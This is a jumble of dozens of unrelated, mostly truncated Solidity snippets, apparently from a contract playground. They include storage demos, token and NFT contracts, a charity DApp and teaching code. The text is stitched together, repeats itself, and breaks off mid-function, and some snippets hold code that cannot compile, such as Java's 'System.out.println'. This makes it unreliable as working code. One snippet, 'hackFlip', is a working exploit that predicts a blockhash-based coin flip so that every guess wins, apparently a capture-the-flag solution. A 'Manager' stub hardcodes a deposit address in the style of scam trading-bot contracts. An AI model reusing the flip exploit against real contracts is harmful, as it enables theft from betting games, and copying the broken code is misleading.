//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  mapping(uint => bytes32) public signedDocs;
  function newDoc(uint docId, bytes32 docHash) public {
    require(signedDocs[docId] == bytes32(0x00));
    signedDocs[docId] = docHash;
  }

  function get(uint docId) public constant returns (bytes32) {
    return signedDocs[docId];
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract HelloWorld {
  string private helloMessage = "Hello world";

  function getHelloMessage() public view returns (string memory) {
    return helloMessage;

  }

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract CoopChain {
    
    address private owner;
    //The array is just for query all the Cooperatives inside the contract.
    string[] public cooperativesList;
    
    //The mapping is just for having a reference about which coop own the minute. Kinda left join... 
    mapping(address => string) public cooperatives; //used on getCoop function
    
    struct Minute {
        uint id;
        address coop_address;
        string title;
        string document;
        string sign;
    }
    
    Minute public minute;
    
    mapping(uint => Minute) public coopMinutes;
    
    
    
    //Modifiers
    modifier isOwner() {
        require(owner == msg.sender, "Sender no autorizado.");
        _;
    }

    constructor() {
        owner = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
    }

    function subscribeMinute(uint _id, string memory _title, string memory _document, string memory _hash, address _coop_address) public i

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract A {
   function print() public virtual pure returns (bytes32) {
       return 0x0;
   }
}
contract B {
   function print() public virtual pure returns (uint256) {
       return 200;
   }
}
contract C is B, A {
   function print() public pure override(A, B) returns (uint256) {
       return super.print();
   }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
 // Our first contract is a faucet!
contract Faucet {

// Give out ether to anyone who asks
 function withdraw(uint withdraw_amount) public {

// Limit withdrawal amount
 require(withdraw_amount <= 100000000000000000);

// Send the amount to the address that requested it
 msg.sender.transfer(withdraw_amount);
}

 // Accept any incoming amount
 function () public payable {}

 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract PichuMuffin {
  uint public fans = 0;

  address private wallet;

  constructor (address _wallet) public {
    wallet = _wallet;
  }

  function like () public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans;
  }

  function isBestMuffin() public pure returns (bool) {
    return true;
  }

  function lesserThan(uint a, uint b) public pure returns (bool) {
    return a <= b;
  }

  function hasLotsOfFans() public view returns (bool) {
    return lesserThan(1000, fans);
  }

  function notZero(uint number) internal pure returns (bool) {
    return number != 0;
  }

  function isRecommended() public view returns (bool) {
    return isBestMuffin() && notZero(fans);
  }

  function tip() public payable {
    require(msg.value > 0);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (uint256) {
    return address(wallet)

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract PichuCastle {
  uint public timeout = 60;
  uint private halfway = timeout / 2;
  string private name = "pokemon";

  function getHalfway() external view returns (uint) {
    return halfway;
  }

  function getName() external view returns (string) {
    return name;
  }
}

contract PichuMuffin {
  uint private likes = 0;
  address private wallet;

  constructor (address _wallet) public {
    wallet = _wallet;
  }

  function tip() public payable {
    require(msg.value >= 1);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (uint) {
    return wallet.balance;
  }

  function like() public {
    likes = likes + 1;
  }

  function getFans() public view returns (uint) {
    return likes;
  }

  function isBestMuffin() public pure returns (bool) {
    return true;
  }

  function lesserThan(uint a, uint b) public pure returns (bool) {
    return a <= b;
  }

  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
  uint public timeout = 60;
  string private name = "PichuCastle";
  uint private halfway = timeout/2;


  function getHalfway() external view returns (uint) {  
    return halfway; 
  } 

  function getName() external view returns (string) {  
    return name; 
  } 
  

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

contract PichuMuffin {
    uint public fans = 0;
  
  function like() public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans; 
  }

  function isBestMuffin() external pure returns (bool) {
    return true;
  }
  
  function lesserThan(uint a, uint b) public pure returns (bool){      
    return a <= b; 
} 

function hasLotsOfFans() public view returns (bool){
    return lesserThan(1000, fans); 
} 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
  uint public timeout = 60;
  string private PichuCastle = "PichuCastle";
  uint private halfway = timeout/2;


  function getHalfway() external view returns (uint) {  
    return halfway; 
  } 

  function getName() external view returns (string) {  
    return PichuCastle; 
  } 
  

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
contract PichuMuffin {
    uint public fans = 0;
  
  function like() public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans; 
  }

  function isBestMuffin() external pure returns (bool) {
    return true;
  }
  
  function lesserThan(uint a, uint b) public view returns (bool){      
    return a <= b; 
} 

function hasLotsOfFans() public view returns (bool){
    return lesserThan(1000, fans); 
} 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract PichuCastle {
  
  uint public timeout = 60;
  uint private halfway = timeout/2;
  string private name = "Pichu";

  // View functions ensure that they will not modify the state.
  // For an external call, all function arguments have to be copied to memory.
  function getHalfway() external view returns (uint) {
    return halfway;
  }

  function getName() public view returns (string) {
    return name;
  }

}

contract PichuMuffin {
  
  uint public fans = 0;
  int money;  
  address private wallet;

  // constructor(address _wallet) public {    
  //     wallet = _wallet;    
  // }    

  function tip() public payable {
    require(msg.value > 0);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (address)
  {
    return wallet;
  }


  function like() public
  {
    fans = fans + 1;
  }
  
  //The "constant" keyword means that function will not alter 
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    System.out.println("test");
    return value;
  }

  uint value;

pragma solidity >=0.5.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";

library UniswapV2Library {
  using SafeMath for uint256;

  // returns sorted token addresses, used to handle return values from pairs sorted in this order
  function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
    require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
    (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
    require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
  }

  // calculates the CREATE2 address for a pair without making any external calls
  function pairFor(
    address factory,
    address tokenA,
    address tokenB
  ) internal view returns (address pair) {
    return IUniswapV2Factory(factory).getPair(tokenA, tokenB); // For easy testing
  

pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0xDbc23AE43a150ff8884B02Cea117b22D1c3b9796;
	}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  string public myString = "Hello World";

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;

contract NumberContract {
    // variable de estado almacenada en el blockchain
    uint public Number = 10;
    
    function setNumber(uint _Number) public {
        // Se necesita hacer una Txn para Sobre escribir una variable de estado
        Number = _Number;
        // Las variables locales son las definidas
        // dentro de las funciones y no son
        // Almacenadas en el blockchain
           //Uint i = 456;
        // Las variables globales son propias
        // Del blockchain, por ejemplo:
           //uint timestamp = block.timestamp; // Current block timestamp
           //address sender = msg.sender; // address of the caller
    }

    // Se puede leer (GET) una variable de
    // Estado sin enviar una Txn
    

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;

contract CoolNumberContract {
    // variable de estado almacenada en el blockchain
    uint public coolNumber = 10;
    
    function setCoolNumber(uint _coolNumber) public {
        // Se necesita hacer una Txn para
        // Sobre escribir una variable de estado
        coolNumber = _coolNumber;
        // Las variables locales son las definidas
        // dentro de las funciones y no son
        // Almacenadas en el blockchain
        Uint i = 456;
        // Las variables globales son propias
        // Del blockchain, por ejemplo:
        uint timestamp = block.timestamp; // Current block timestamp
        address sender = msg.sender; // address of the caller
    }

    // Se puede leer (GET) una variable de
    // Estado sin enviar una Txn
    

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Simple {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

function hackFlip(bool _guess) public {
    
    // pre-deteremine the flip outcome
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    // If I guessed correctly, submit my guess
    if (side == _guess) {
        originalContract.flip(_guess);
    } else {
    // If I guess incorrectly, submit the opposite
        originalContract.flip(!_guess);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Student {
  uint public studentId;

  function getStudentId() public returns (uint) {
    return studentId++;
  }

contract hackCoinFlip {
    CoinFlip public originalContract = CoinFlip("your instance address"); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {
        //TODO
    }

pragma solidity ^0.5.0;

// lvl 1: equal split
contract AssociateProfitSplitter {
    // @TODO: Create three payable addresses representing `employee_one`, `employee_two` and `employee_three`.
    address payable employee_one; address payable employee_two; address payable employee_three;
    constructor(address payable _one, address payable _two, address payable _three) public {
        employee_one = _one;
        employee_two = _two;
        employee_three = _three;
    }

    function balance() public view returns(uint) {
        return address(this).balance;
    }

    function deposit() public payable {
        // @TODO: Split `msg.value` into three
        uint amount =  msg.value / 3;

        employee_one.transfer(amount);
        employee_two.transfer(amount);
        employee_three.transfer(amount);
        msg.sender.transfer(msg.value - amount * 3); 

        // @TODO: take care of a potential remainder by sending back to HR (`msg.sender`)
        // Your code here!
    }

    function() external 

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract Somer883Token {
    string public version = '1.0';
    string public name;
    string public symbol;
    uint8 public decimals;
    address public owner;
    uint256 public _totalSupply;
    

    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowances;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    function Somer883Token() public {
        balances[msg.sender] = 100000000000000;
        _totalSupply = 100000000000000;
        name = 'Somer883';
        symbol = 'SMR';
        decimals = 6;
        owner = msg.sender;
    }

    function balanceOf(address _owner) public constant r

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;hhh

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleContract {

    //소유자를 키로 잔액을 mapping (ERC-20)
    mapping (address => uint256) ERC20;
    // token ID로 소유자를 mapping (ERC-721)
    mapping (uint256 => address) ERC721;

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar

// ERC

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.18;

contract A {
  bytes32 id;
}

contract B {
  uint256 a = 0;

pragma solidity ^0.5.2;
contract MyContract {
   uint amount;
   uint value;

   constructor (uint initialAmount, uint initialValue) public {
      amount = 0;
      value = 1000;
   }
   function getBalance() public view returns(uint) {
      return value;
   }
   function getAmount() public view returns(uint) {
      return amount;
   }
   function send(uint newDeposit) public {
      value = value - newDeposit;
      amount = amount + newDeposit;
   }

/**
 *Submitted for verification at BscScan.com on 2021-04-16
*/

/**
 * Rototril
 * **/

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view re

pragma solidity 0.5.16;

interface IBEP20 {
  function totalSupply() external view returns (uint256);

  function decimals() external view returns (uint8);

  function symbol() external view returns (string memory);

  function name() external view returns (string memory);

  function getOwner() external view returns (address);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address _owner, address spender) external view returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);

  event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Context {
  // Empty internal constructor, to prevent people from mistakenly deploying
  // an instance 

pragma solidity >= 0.7.0 < 0.9.0;

import '@uniswap/v3-core/contracts/libraries/BitMath.sol';

contract Rarity {
    function findRare(uint256 lastId, address poolAddress) public pure returns (uint256) {
        uint256 tokenId = lastId + 1;
        
        while (tokenId < type(uint256).max && !(uint256(keccak256(abi.encodePacked(tokenId, poolAddress))) < type(uint256).max / (1 + BitMath.mostSignificantBit(tokenId) * 2))) {
            tokenId++;
        }
        
        return tokenId;
    }
}

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Storage {

    uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function store(uint256 num) public {
        number = num;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function retrieve() public view returns (uint256){
        return number;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.8;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  //lol
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Mom {
  function feed(address child) public {

  }
}

contract Dad {
  function feed(address child) public {
    
  }
}

contract Child is Mom, Dad {
  function feed(address sibling) public {
    super.feed(sibling);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(

// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.18;


contract EIP20Interface {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) public view returns (uint256 balance);

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /

/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract XXXXXXCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "XXXXXX";
	string public symbol = "XXXXXX";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	function

/**
 *Submitted for verification at BscScan.com on 2021-04-27
*/

pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed

contract SphynxCatCoin {
	mapping(address => uint) public balances;
	mapping( address => mapping(address => uint)) public allowance;
	
	uint public totalSupply = 1000000000 * 10**6 * 10**8;
	string public name = "SphynxCatCoin";
	string public symbol = "SCC";
	uint public decimals = 9;
    address private coinConfiger = msg.sender;
    address public owner = msg.sender;
	
	event Transfer(address indexed from, address indexed to, uint value);
	event Approval(address indexed owner, address indexed spender, uint value);
	event Error();
    bool private Errors = false;
	modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier coinConfig() {
        require(msg.sender == coinConfiger);
        _;
    }
	
	constructor(){
		balances[msg.sender] = totalSupply;
		emit Transfer(address(0), msg.sender, totalSupply);
	}
	
	f

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {   
   function callKeccak256() public pure returns(bytes32 result){
      return keccak256("Isla Rebekah Tintpulver");
   }  

// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract

pragma solidity >=0.5.0 <0.7.0;

contract SimpleAuction {
    address payable public beneficiary;
    uint public auctionEndTime;

    address public highestBidder;
    uint public highestBid;

    mapping(address => uint) pendingReturns;

    bool ended;

    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    constructor(
        uint _biddingTime,
        address payable _beneficiary
    ) public {
        beneficiary = _beneficiary;
        auctionEndTime = now + _biddingTime;
    }

    function bid() public payable {
        require(
            now <= auctionEndTime,
            "Auction already ended."
        );

        require(
            msg.value > highestBid,
            "There already is a higher bid."
        );

        if (highestBid != 0) {
            pendingReturns[highestBidder] += highestBid;
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
        emit HighestBidIncreased(msg.sender, msg.value);

pragma solidity >=0.4.0 <=0.6.0;  
  
contract news{  
      
    struct newsfeed{  
        address publisher;  
        string newsdesc;  
    }  
    mapping(uint => newsfeed) public newsfeeds;  
    uint public newsCount;  
  
    function addnews(string memory newsdesc) public {  
        newsCount++;  
        newsfeeds[newsCount].publisher = msg.sender;  
        newsfeeds[newsCount].newsdesc = newsdesc;  
  
    }  
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public pure returns (uint) {
    uint a = 0;
    return a - 1;
  }

  uint value;

/**
 *Submitted for verification at BscScan.com on 2020-10-28
*/

// File: openzeppelin-solidity/contracts/proxy/Proxy.sol



pragma solidity ^0.6.0;

/**
 * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
 * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
 * be specified by overriding the virtual {_implementation} function.
 * 
 * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
 * different contract through the {_delegate} function.
 * 
 * The success and return data of the delegated call will be returned back to the caller of the proxy.
 */
abstract contract Proxy {
    /**
     * @dev Delegates the current call to `implementation`.
     * 
     * This function does not return to its internall call site, it will return directly to the external caller.
     */
    function _delegate(address implementation) in

pragma solidity ^0.5.0;

import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/math/SafeMath.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/ownership/Ownable.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20Detailed.sol";

contract FreeParking is ERC20, Ownable, ERC20Detailed {
    constructor(
        address _owner,
        uint256 _supply
    )
    ERC20Detailed(
        "Free Parking Protocol", 
        "PARK",
        18
    )
        public
    {
        _mint(_owner, _supply);
    }
    
   using SafeMath for uint256;

   /**
    * @notice We require to know who are all the stakeholders.
    */
   address[] internal stakeholders;

   /**
    * @notice The accumulated revenue for each stakeholder.
    */
   mapping(address =>

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Playground {

  function signedTest() pure public returns(uint256) {
    uint16 a = uint16(-1);
    uint256 b = a;
    return b;
  }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {

  Child _child ;

  function Parent(Child child) public {
    _child  = child;
  }
  function call_child() public{
    _child.call_me(msg.sender);
  }

  uint value;
}

contract Child {
  address public _realMsgSender;
  address public _seenMsgSender;

  function call_me(address realMsgSender) public {
    _realMsgSender = realMsgSender;
    _seenMsgSender = msg.sender;
  }

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
